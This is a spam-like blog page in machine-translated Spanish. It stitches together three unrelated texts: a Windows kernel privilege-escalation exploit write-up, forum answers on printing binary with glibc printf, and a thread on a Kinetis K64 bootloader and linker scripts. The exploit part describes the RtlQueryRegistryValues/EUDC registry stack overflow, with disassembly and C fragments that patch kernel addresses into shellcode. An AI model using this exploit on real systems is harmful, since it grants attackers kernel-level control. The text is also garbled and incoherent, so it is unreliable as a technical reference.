Thursday 19 October 2017

0xaaaaaaaa In Binary Option


Security-sh3ll. blogspot Quisiera presentar una vulnerabilidad de un parámetro ambiguo en la API del núcleo de Windows que conduce a desbordamientos de búfer en casi todas las versiones de Microsoft Windows, especialmente una que puede utilizarse como una puerta trasera para el sistema de privilegios de usuario de Windows, así como Control de acceso de usuario. El API de la estrella sería RtlQueryRegistryValues, que significaba que se utiliza para consultar varios valores de registro por una tabla de consulta, dado el campo EntryContext como buffer de salida. Hay un problema que este campo se puede tratar como una estructura UNICODESTRING o una longitud de búfer ULONG seguido por el búfer real y esto se determina por el tipo de la clave de Registro que se consulta. En este ejemplo, encontré una clave del registro que se puede manipular con sólo derechos de usuario, cambiando su tipo a REGBINARY desborda el kernel. Cuando Win32k. sys-gtNtGdiEnableEudc consulta el valor de Registro HKCUEUDCLanguageSystemDefaultEUDCFont, asume que el valor del registro es REGSZ, por lo que el búfer proporcionado en la pila es una estructura UNICODESTRING, cuyo primer valor ULONG en esta estructura representa la longitud del búfer de cadena pero si El valor en el registro es de tipo REGBINARY, se interpretará erróneamente como la longitud del búfer dado, por lo tanto sobrescribe la pila. Texto: BF81BA91 empujar esi texto Medio Ambiente: BF81BA92 texto empuje esi Contexto: BF81BA93 desplazamiento de empuje SharedQueryTable3PAURTLQUERYREGISTRYTABLEA QueryTable texto: Ruta BF81BA98 empuje edi texto: BF81BA99 lea eax, ebpDestinationString texto: BF81BA9C empuje esi relativeTo texto: BF81BA9D mov SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. QueryRoutine, texto esi RTLQUERYREGISTRYTABLE SharedQueryTable : SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. Flags BF81BAA3 mov, texto 24h: BF81BAAD mov SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. Name, compensados ​​texto aSystemdefaulte quotSystemDefaultEUDCFontquot: BF81BAB7 mov SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. EntryContext, texto eax: BF81BABC mov SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. DefaultType, esi texto: BF81BAC2 mov SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. DefaultData, texto esi: mov BF81BAC8 SharedQueryTable3PAURTLQUERYREGISTRYTABLEA. DefaultLength, texto esi: BF81BACE mov dwordBFA198FC, texto esi: BF81BAD4 mov dwordBFA19900, texto esi: BF81BADA mov dwordBFA19904, texto esi: BF81BAE0 llamada ds: RtlQueryRegistryValues ​​impRtlQueryRegistryValues20 (x, x, x, x, x) de texto: ebpvar8 mov BF81BAE6 , eax // Ahora llena las direcciones de API necesarias FixDWORD (PMEM, sizeof (datos), 0x11111111, (DWORD) GetProcAddress (hKernel, quotExAllocatePoolWithTagquot) Delta) FixDWORD (PMEM, sizeof (datos), 0x22222222, (DWORD) GetProcAddress (hKernel, quotRtlInitAnsiStringquot) Delta) FixDWORD (PMEM, sizeof (datos), 0x33333333, (DWORD) GetProcAddress (hKernel, quotRtlAnsiStringToUnicodeStringquot) Delta) FixDWORD (PMEM, sizeof (datos), 0x44444444, (DWORD) GetProcAddress (hKernel, quotMmGetSystemRoutineAddressquot) Delta) FixDWORD ( PMEM, sizeof (datos), 0x55555555, (DWORD) GetProcAddress (hKernel, quotRtlFreeUnicodeStringquot) Delta) FixDWORD (PMEM, sizeof (datos), 0x66666666, (DWORD) GetProcAddress (hKernel, quotmemcpyquot) Delta) FixDWORD (PMEM, sizeof (datos) , 0x77777777, (DWORD) GetProcAddress (hKernel, quotmemsetquot) Delta) FixDWORD (PMEM, sizeof (datos), 0x88888888, (DWORD) GetProcAddress (hKernel, quotKeDelayExecutionThreadquot) Delta) // Aquí le decimos al código shell (cargador PE) en el que el controlador Tampón es. FixDWORD (PMEM, sizeof (Datos), 0x11223344, sizeof (DrvBuf)) FixDWORD (PMEM, sizeof (Datos), 0x55667788, (DWORD) pDrvMem) Después de ejecutar este PoC, sólo tienes que escribir quotwhoamiquot en símbolo del sistema para ver las credenciales de usuario escalados. Puntos de interés Todas las acciones que realiza este PoC requieren sólo privilegios de usuario, pero resultan en la ejecución arbitraria de código de modo kernel debido al diseño ambiguo de RtlQueryRegistryValues. Esta falla de diseño existe en la mayoría de versiones de kernels de Windows, sin embargo, no hay parche o documentación disponible públicamente en este problema. Este PoC no puede corregir correctamente el contexto del kernel explotado y reanudar la ejecución sin BSOD, como en los kernels ealier que 6.1.6000 no son compatibles, los kernels soportados actualmente son: Windows Vista / 2008 6.1.6000 x32, Windows Vista / 2008 6.1.6001 X32, Windows 7 6.2.7600 x32, Windows 7/2008 R2 6.2.7600 x64. Más allá de este ámbito, puede ponerse en contacto conmigo para obtener información sobre cómo afinar el código para que funcione correctamente en su kernel o cómo funciona el shellcode, etc. Estos contenidos están fuera del alcance de este artículo y no tienen importancia para el exploit. No hay un especificador de conversión binaria en glibc normalmente. Es posible agregar tipos de conversión personalizados a la familia de funciones printf () de glibc. Consulte registerprintffunction para más detalles. Puede agregar una conversión b personalizada para su propio uso, si simplifica el código de la aplicación para que esté disponible. A continuación se muestra un ejemplo de cómo implementar un formato printf personalizado en glibc. Además, lo que usted está hablando de w. r.t. El manejo de múltiples resultados secuencialmente no es la reentrada per se, sino más bien simplemente el resultado de usar lo que equivale a un objeto global para almacenar el resultado. La función no se vuelve a ingresar. En C el lenguaje adecuado, o por lo menos ampliamente utilizado, para tratar las funciones que almacenan sus resultados en un objeto global es copiar esos resultados inmediatamente después de obtenerlos. Esto tiene la ventaja principal de que si sólo se requiere un resultado a la vez, entonces no se necesita asignación adicional. Ndash Greg A. Woods Nov 27 12 at 0:51 Aquí tendremos que estar en desacuerdo. No puedo ver cómo la adición de un símbolo de preprocesador discreto viene en cualquier lugar cerca de la nocividad de limitar los casos de uso severamente, haciendo que la interfaz sea propensa a errores, reservando almacenamiento permanente por la duración del programa por un valor temporal y generando un código peor en la mayoría de las plataformas modernas . Ndash R .. Nov 27 12 at 1:53 La familia printf () sólo puede imprimir en la base 8, 10 y 16 usando los especificadores estándar directamente. Sugerir la creación de una función que convierte el número a una cadena por códigos necesidades particulares. Todas las demás respuestas hasta ahora tienen al menos una de estas limitaciones. Utilice memoria estática para el búfer de retorno. Esto limita el número de veces que la función se puede utilizar como argumento para printf (). Asignar memoria que requiere el código de llamada para punteros libres. Requiere que el código de llamada proporcione explícitamente un búfer adecuado. Llame a printf () directamente. Esto obliga a una nueva función para fprintf (). Sprintf (). Vsprintf (). Etc. Utilice un rango reducido de números enteros. Lo siguiente no tiene ninguna de las limitaciones anteriores. Requiere C99 o más adelante y el uso del s. Utiliza un literal compuesto para proporcionar el espacio de memoria intermedia. No tiene problemas con varias llamadas en un printf ().Bootloader para Kinetis K64 (Cortex M4) bull quot quot (2) 2 bull 32 Iacutem actualmente trabajando en un gestor de arranque para Kinetis K64. La razón por la que usamos el cargador de arranque de Kinetis es porque tenemos un protocolo personalizado. Nunca hice esto antes así que i tought haré el bootloader en los 4 pasos siguientes: 1) Hacer un programa Hello-World simple residente en la memoria en la dirección: 0x00C28CB0 2) Depurar e iniciar el programa Hello-World para cerciorarse de él es Ubicado en la dirección de memoria correcta 3) Hacer una simple aplicación Hello-World, para poder saltar entre el programa Hello-World. 4) Obtener la nueva aplicación y escribir en flash. Im pegado en 2) y 3) puesto que el programa comienza siempre en la dirección 0x0, no donde pongo mi segunda tabla del vector para el programa del mundo de Hello También termina para arriba en ResetHandler en 0x0 cuando intento saltar entre el cargador de arranque y la aplicación. Yo uso diferentes archivos de enlace para bootloader y la aplicación, pero el mismo código de inicio se utilizan (Ver archivos adjuntos) Cuando intento saltar desde el gestor de arranque a la aplicación uso el siguiente código: Yo uso el siguiente define: Im que tienen problemas similares.160 El depurador multilink siempre borra todo el flash incluso cuando desmarca la casilla de verificación borrar flash para que no pueda cargar dos programas que ocupen diferentes áreas de memoria.160 Tal vez su código de salto de aplicación esté funcionando, pero no puede cargar ambos programas al mismo tiempo. Parece que un montón de opciones no predeterminadas todavía están rotas en kds.160 - fPIC roto.160 binario de imagen de firmware roto (genera un archivo 536mb para un dispositivo de 512kb) por lo que tendrá que ser fijado antes de que pueda generar el binario que Será escrito a flash por el gestor de arranque.160 Los vectores de interrupción en la opción de RAM están rotos, cualquier cosa con esta opción habilitada no se ejecutará en absoluto.160 Ya he escrito bootloaders antes sin la mitad de tantos problemas, está empezando a obtener quot cómico bull quot (0 ) 0 Si las herramientas restringen la carga de dos imágenes por separado se pueden combinar en una y cargar eso. Esto se puede hacer con varias herramientas o manualmente agregando dos archivos SREC juntos. El proyecto uTasker contiene utilidades de cargador de arranque que tiene tal herramienta (uTaskerCombine) - se puede descargar en uTasker Utilities y permite combinar binarios específicamente para tales propósitos. El proyecto del cargador en serie uTasker proporciona un marco de cargador de arranque completo (para el K64) que puede adaptarse simplemente a cualquier otro protocolo que deba desarrollarse. En caso de complicaciones adicionales esto le permitiría concentrarse inmediatamente en su protocolo de cargador en lugar de primero tener que desarrollar tal infraestructura. Tenga en cuenta que no puede iniciar un programa inicial desde ninguna otra dirección que el vector de reinicio, por lo que primero debe tener instalado un cargador de arranque (arrancar desde el vector de reinicio) y luego probar una aplicación de desplazamiento que este gestor de arranque dispara. El siguiente código puede utilizarse, por ejemplo, para el salto en un K64: Esto permite que cualquier aplicación salte a (conociendo su dirección de enlace desplazada). En su caso usted saltaría usando El framework también incluye un simulador K64 (en tiempo real) que permite que los cargadores de arranque sean probados y depurados con VisualStudio (edición Express libre adecuada), ejecutando periféricos e interrupciones y emulando la operación de flash. Hay un video mostrando la depuración del cargador de arranque en AVR32boot. wmv - YouTube (no en el Kinetis pero equivalente y usando una tecnología de cargador de arranque cifrada más complicada que requiere tal capacidad de depuración más que los casos estándar). Si utiliza el código de salto que posteé, no utilice su dirección de entrada (0x00C28CB0) sino que utilice la dirección a la que vinculó el código de su aplicación (por ejemplo, 0x8000 - normalmente se alineará con un límite de 4k). Cuando combine sus dos binarios asegúrese de que también tiene la aplicación de localizar en la dirección que está vinculado a estar en. Pienso que la función del gato que usted utiliza agregará simplemente los dos juntos que no es conveniente puesto que el programa DEBE estar en la dirección correcta (física) de otra manera nada puede trabajar. Si la utilidad del gato no demuestra ser conveniente apenas utiliza el uTaskerCombine a que ligé. Se puede llamar con uTaskerCombine bootloader. bin160 HELLOWWORLD. bin 0x8000 combined. bin donde 0x8000 es la dirección (ejemplo) a la que se debe anexar el segundo archivo y la diferencia entre si se rellena con 0xff. Otro problema potencial con la combinación de binarios (si la salida de CW usando metroworks compilador) es que a veces no son RAW binario, pero están en formato binario MOTOROLA (que significa que se dividen en trozos y cada trozo tiene un pequeño encabezado informando donde su dirección es ). El uso de herramientas binarias simples puede dar como resultado que la salida esté en un formato que no se puede cargar con la mayoría de las herramientas (se cargará pero no se puede ejecutar el contenido). UTaskerCombine también reconocerá el formato binario MOTOROLA y siempre generará el archivo de salida en binario RAW para que pueda cargarse al procesador con cualquier herramienta. No olvides que ya hay una solución de propósito general completa para el K64 en el cargador de serie de uTasker proje ct utasker / docs / uTasker / uTaskerSerialLoader. PDF para que puedas simplemente usar eso y luego empezar con el protocolo real personalizado. Funciona a la perfección para el K64 con CW, KDS, IAR, Keil, Atollic, Rowley Crossworks, CooCox o GCC autónomo y el Kinetis puede ser simulado (en tiempo real) en VisualStudio así también los desarrollos personalizados Las partes son más simples de desarrollar, probar y depurar. Todas las herramientas y configuraciones necesarias, así como los controladores de Flash, los controladores de periféricos y las suites de comunicación (serie, Ethernet, USB) permiten cargar cargadores flexibles para ser configurados o construidos con el mínimo esfuerzo / trabajo / inversión (el proyecto está optimizado para la eficiencia de uso de recursos Y por lo tanto un cargador de inicio basado en servidor web, por ejemplo, ocupa sólo 18k de Flash). Creo que sólo puede cat HELLOWORLDBL. bin HELLOWORLD. bin gt combined. bin.160 Si esto ayuda, aquí están mis modificaciones a los scripts de vinculador con el fin de ser capaz de cat los dos binarios: Para la aplicación principal añadir a la dirección de inicio De cada ubicación de memoria, he añadido 0x10000 para darle al gestor de arranque 64kb de espacio, y restar esa cantidad del tamaño de la sección, y comentar esta sección de memoria: / 160 mcfmprotrom160 (RX). ORIGIN 0x00000400, LENGTH 0x00000010 / 160 gt mcfmprotrom Para el script de enlazador del gestor de arranque, debe cambiarse de modo que el binario sea exactamente el tamaño del espacio de destello del cargador de arranque de modo que el binario concatenado de la aplicación principal comience en la dirección correcta.160 Cambiar la longitud de Cada sección de memoria como si se tratara de un dispositivo flash de 64kb o lo grande que sea su espacio de arranque. A continuación, agregue esta sección para que genere un binario exactamente el tamaño correcto.160.romp es la última sección que se agrega a flash por lo que se utiliza para calcular la dirección de inicio de la sección de relleno. 160. relleno LOADADDR (.romp) SIZEOF (.romp): 160. ORIGEN (mtext) LENGTH (mtext) - 1 Debe desactivar la generación del archivo de vinculación en el experto del procesador después de realizar estos cambios. 1 bull quot quot (0) 0 No debería tener que cambiar el controlador de reinicio, dejar los valores predeterminados en el gestor de arranque.160 Para la aplicación principal, esas interrupciones y el vector de restablecimiento funcionarán igual en la ubicación 0x10000 después de configurar el SCBVTOR 0x10000. Procesador generado scripts de vinculador con los cambios que he mencionado.160 No veo cómo adjuntar el archivo, pero puedo pegar el script de enlazador bootloader. El script principal del vinculador de aplicaciones tiene los simples cambios que mencioné. / Dirección máxima de la pila de modo de usuario / estack 0x20000000160160160 / final de MDATA / / Generar un error de enlace si pila y pila dont encaja en la RAM / HEAPSIZE 0x00160160160160160160160160160160160160160160160160160160160 / requerido cantidad de heap160 / stacksize 0x0400160160160160160160160160160160160160160160160160 / cantidad necesaria de pila / 160 minterrupts (RX ). ORIGEN 0x00000000, LENGTH 0x00000198 160 mtext160160160160160 (RX). ORIGEN 0x00000410, LENGTH 0x0000FBF0 160 mdata160160160160160 (RW). ORIGEN 0x1FFF0000, LENGTH 0x00010000 160 mdata20000000 (RW). ORIGEN 0x20000000, LENGTH 0x00010000 160 mcfmprotrom160 (RX). ORIGEN 0x00000400, LONGITUD 0x00000010 / Definir secciones de salida / 160 / El código de inicio va primero en INTERNALFLASH / 160160160 KEEP ((. Vectortable)) / código de inicio / 160 minterrupts gt 160 KEEP ((. Cfmconfig)) / flash Configuración del campo (FCF) / 160 gt mcfmprotrom 160 / El código de programa y otros datos van a INTERNALFLASH / 160160160 (.text) 160160160160160160160160160160 / secciones. text (código) / 160160160 (.text) 160160160160160160160160160 / secciones. text (código) / 160160160 (.rodata) 160160160160160160160160 / secciones. rodata (constantes, cadenas, etc.) / 160160160 (.rodata) 160160160160160160160 / secciones. rodata (constantes, cadenas, etc.) / 160160160 (.glue7) 160160160160160160160160 / brazo de pegamento para el pulgar código / 160160160 (.glue7t) 160160160160160160160 / pegamento pulgar para armar código / 160160160 KEEP ((.init)) 160160160 KEEP ((.fini)) 160160160 etext ,160160160160160160160 / definen algunos símbolos globales al final del código / 160160160 / gcc usos crtbegin. o para encontrar el principio de 160160160160160160 los constructores, así que asegúrese de que es 160160160160160160 first.160 Debido a que este es un comodín, que 160160160160160160 duerma importa si el usuario no 160160160160160160 enlazar efectivamente contra la crtbegin. o 160160160160160160 enlazador suele buscar un archivo para que coincida con un comodín 160160160160160160. 160 el comodín también significa que 160160160160160160 no importa en qué directorio crtbegin. o 160160160160160160 es in.160 / 160160160 KEEP (crtbegin. o (.ctors)) 160 160 160 / Nosotros no quiero incluir la sección de. ctor 160160160160160160 del crtend. o Archivo hasta después de los ctores clasificados. 160160160160160160.ctor La sección del archivo contiene crtend final 160160160160160160 ctors del marcador y que debe ser pasada / 160160160 (KEEP (EXCLUDEFILE (crtend. o).ctors)) 160 160 160 (KEEP (Sort (.ctors.))) 160 160 160 KEEP (...)) Muy bien. He probado para fusionar los dos archivos ahora, y llenó el espacio hasta la dirección de inicio para la aplicación. La dirección de inicio de la aplicación se establece en 0xC530. Esta es también la dirección binaria desde la cual se agrega la aplicación al gestor de arranque. La configuración de memoria para el gestor de arranque tiene este aspecto: La configuración de memoria para la aplicación es la siguiente: Utilizo el mismo fichero de arranque para ambos proyectos (consulte la sección Adjunto archivo). También modifed el código como marca sugerida, con la aplicación Jump. Fijé la dirección de la aplicación y el puntero de la pila. Siguiendo el mismo resultado, el MCU termina en ResetHandler. Edit: Me enteré de que termina en HardFaultHandler, y luego va a restablecer. Como escribí antes de que pueda simplemente copiar binarios arrastrándolos en el disco duro visto al conectar la placa a través de USB. A continuación, puede depurar conectando el depurador con el paso de programación de Flash deshabilitado. El binario que has cargado está ahí y puedes depurar como de costumbre. Supongo que usted utiliza el Multilink FX porque es más rápido que el OpenSDA a bordo () De lo contrario, el depurador OpenSDA funciona adecuadamente con KDS. P. S No creo que utilicé el FRDM-K22F con el depurador ya que siempre carga binarios a través del cargador mdeb preinstalado. Hago todo el desarrollo (y depuración) en el simulador de uTasker Kinetis tan rara vez es necesario depurar después de cargar a la meta. Bull quot quot (0) 0

No comments:

Post a Comment